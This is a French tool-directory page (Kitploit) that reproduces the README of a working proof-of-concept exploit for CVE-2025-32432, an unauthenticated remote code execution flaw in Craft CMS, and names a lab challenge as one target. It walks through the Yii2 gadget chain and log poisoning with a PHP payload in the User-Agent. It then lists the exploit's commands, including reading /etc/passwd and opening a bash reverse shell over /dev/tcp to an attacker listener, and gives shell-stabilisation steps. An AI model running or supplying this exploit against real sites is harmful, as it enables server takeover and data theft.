Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-32432 — PoC fonctionnel pour CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non authentifié via le gadget Yii2 PhpManager + empoisonnement du journal access.log de nginx | Kitploit
Outils/GitHubGitHub/cd-ratel/cve-2025-32432
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

PoC fonctionnel pour CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non authentifié via le gadget Yii2 PhpManager + empoisonnement du journal access.log de nginx

Voir le dépôt
2111il y a 4 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-32432 - PoC d'exécution de code à distance non authentifiée sur Craft CMS

Preuve de concept fonctionnelle pour CVE-2025-32432, une vulnérabilité d'exécution de code à distance non authentifiée dans Craft CMS versions jusqu'à et y compris 5.6.16 (affecte également les branches 4.x et 3.x sur des chemins de code équivalents).

Mots-clés de recherche : CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


En résumé

git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

Le mode par défaut cible les installations Craft CMS standards. Un drapeau --lab est inclus pour le défi carangueijada-20 du projet hacklab-platform, qui protège Craft derrière un cookie de session personnalisé.


Vulnérabilité

Composant affecté : craft\controllers\AssetsController::actionGenerateTransform.

L'action est enregistrée comme allowAnonymous, donc aucune authentification n'est nécessaire. Elle accepte un paramètre POST handle qui est ensuite décomposé dans un appel à Craft::createObject() :

$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

Lorsque $handle est un tableau associatif sous le contrôle de l'attaquant, la décomposition injecte des clés arbitraires dans la configuration du constructeur. En particulier, une clé commençant par as est interprétée par yii\base\Component::__set comme un attachement de comportement, qui appelle Yii::createObject($config) sur la valeur avant toute vérification de type :

elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

Le correctif de Yii2 dans la version 2.0.50 a ajouté une vérification is_subclass_of($value['class'], Behavior::class) protégeant cette branche ; les installations vulnérables (Yii2 <= 2.0.49, ou une vérification précédemment supprimée) ignorent complètement la protection.

Gadget : yii\rbac\PhpManager

PhpManager est une classe standard de Yii2. Sa méthode init() appelle load(), qui appelle loadFromFile($this->itemFile). loadFromFile est littéralement :

protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require analyse tout fichier sur le disque comme du PHP. Si le fichier contient un bloc <?php ... ?>, ce bloc s'exécute dans le processus worker. En pointant itemFile vers un fichier dont l'attaquant contrôle le contenu, une RCE complète est obtenue.

Sink : access.log de nginx

Le sink fiable pour toutes les installations est le access.log au format combiné de nginx. Il enregistre le User-Agent de la requête textuellement, y compris les caractères non imprimables et la plupart des signes de ponctuation. En envoyant une requête dont le User-Agent est <?php system('id'); exit; ?>, l'attaquant place un bloc PHP à un chemin connu. Pointer itemFile vers /var/log/nginx/access.log puis require le journal exécute chaque bloc <?php ... ?> dans l'ordre.

Deux subtilités importantes :

  1. Pas de guillemets doubles dans la charge utile. nginx échappe " en \x22 dans le format combiné, ce qui casse l'analyse PHP de la ligne. Utilisez des guillemets simples ou la concaténation chr().
  2. exit; à la fin pour que require s'arrête avant d'analyser les lignes suivantes du journal qui peuvent contenir d'autres charges utiles malformées.

Versions affectées

ComposantVulnérableCorrigé
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17 ajoute une vérification ImageTransformerInterface sur la classe de transformation. Yii2 2.0.50 ajoute une vérification de sous-classe Behavior dans Component::__set. Chacun de ces correctifs bloque cette chaîne de gadgets spécifique.


Prérequis

  • Python 3.8+
  • Bibliothèque requests (pip install -r requirements.txt)
  • Accessibilité réseau vers le point de terminaison HTTP(S) cible
  • Un assetId Craft valide sur la cible. Par défaut 2 ; à remplacer par -a <id> si nécessaire (l'ID d'asset 1 est généralement l'avatar de l'administrateur).

Utilisation

Craft CMS standard

python3 exploit.py -u http://victim.tld -c 'id'

Craft monté sous un préfixe de chemin

python3 exploit.py -u http://victim.tld -p /cms -c 'id'

ID d'asset personnalisé

python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

itemFile personnalisé (chemin de journal différent, session FPM, etc.)

python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Mode laboratoire (défi carangueijada-20)

Le laboratoire carangueijada-20 du projet hacklab-platform protège l'installation Craft derrière un cookie coopsess émis par PATCH /login. Le drapeau --lab gère cette négociation automatiquement.

python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Assurez-vous que www.carangueijada.coop résout l'IP du laboratoire (ajoutez à /etc/hosts si nécessaire).

Shell inversé

Le drapeau --revshell envoie un connect-back bash -i >& /dev/tcp/<lhost>/<lport> 0>&1, exécuté en arrière-plan pour que la requête POST du gadget retourne instantanément.

Flux à deux terminaux (le plus fiable) :

# terminal 1 - écouteur sur votre machine
nc -lvnp 4444

# terminal 2 - lancez l'exploit
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

Flux à un terminal avec écouteur intégré :

python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen lance nc -lvnp <lport> dans le même terminal avant d'envoyer la charge utile. Ctrl+C pour quitter une fois terminé.

Exemple de session (laboratoire) :

$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Charge utile du shell inversé -> 10.200.0.20:4444
[!] Sur VOTRE machine, exécutez d'abord : nc -lvnp 4444
[*] Attente de 3s (donne le temps à votre écouteur de se lier)...
[*] Mode laboratoire : PATCH /login pour obtenir le cookie coopsess
[*]     Cookie coopsess acquis
[*] Vérification de l'existence du wrapper à /tmp/.cve32432_w.php
[*] Déclenchement du gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Shell inversé envoyé.

# dans l'écouteur :
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Stabilisation du shell (après connexion, exécutez à l'intérieur du shell inversé) :

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z pour mettre nc en arrière-plan
stty raw -echo; fg
# Appuyez deux fois sur Entrée
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

Comment fonctionne l'idempotence

Télécharger l’outil